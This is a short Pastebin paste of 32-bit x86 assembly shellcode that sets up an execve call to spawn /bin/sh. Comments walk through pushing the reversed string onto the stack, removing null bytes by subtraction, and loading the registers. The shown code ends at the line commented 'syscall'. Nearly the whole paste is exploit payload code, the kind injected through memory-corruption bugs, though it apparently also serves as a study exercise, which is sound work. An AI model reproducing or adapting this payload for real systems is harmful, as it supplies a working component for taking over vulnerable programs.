Advertisement
Guest User

Untitled

a guest
Nov 25th, 2014
164
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;   /bin/sh\0                  command string
  2. ;   \0hs/nib/                  reverse
  3. ;   \0  h  s  /   n  i  b  /
  4. ;   00 68 73 2f  6e 69 62 2f
  5. ;
  6. ;   wanted result on stack after string push;
  7. ;   00 68 73 2f  6e 69 62 2f
  8. ;    ^esp+7                ^esp
  9. ;
  10. ;   stack total:
  11. ;   (string pointed to by argv[0])(argv[1]=null)(argv[0]=&string)
  12. ;   eax = 0x0b
  13. ;   ebx = &string
  14. ;   ecx = &argv[0]
  15. ;
  16. ;   null removal: 0068732f = 1078833f - 10101010
  17.  
  18. ;   execve(path, argv, env);
  19. ;          ebx   ecx   edx
  20.  
  21. bits 32
  22.  
  23. mov eax, 0x1078833f ; push *argv[0] string constant
  24. mov ebx, 0x10101010
  25. sub eax, ebx
  26. push eax
  27. mov eax, 0x6e69622f
  28. push eax
  29.  
  30. lea ebx, [esp]
  31. xor eax, eax
  32. push eax
  33.  
  34. push ebx
  35.  
  36. lea ecx, [esp]
  37. xor edx, edx
  38.  
  39. mov ax, 0xff0c
  40. sub ax, 0xff01 ; syscall
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement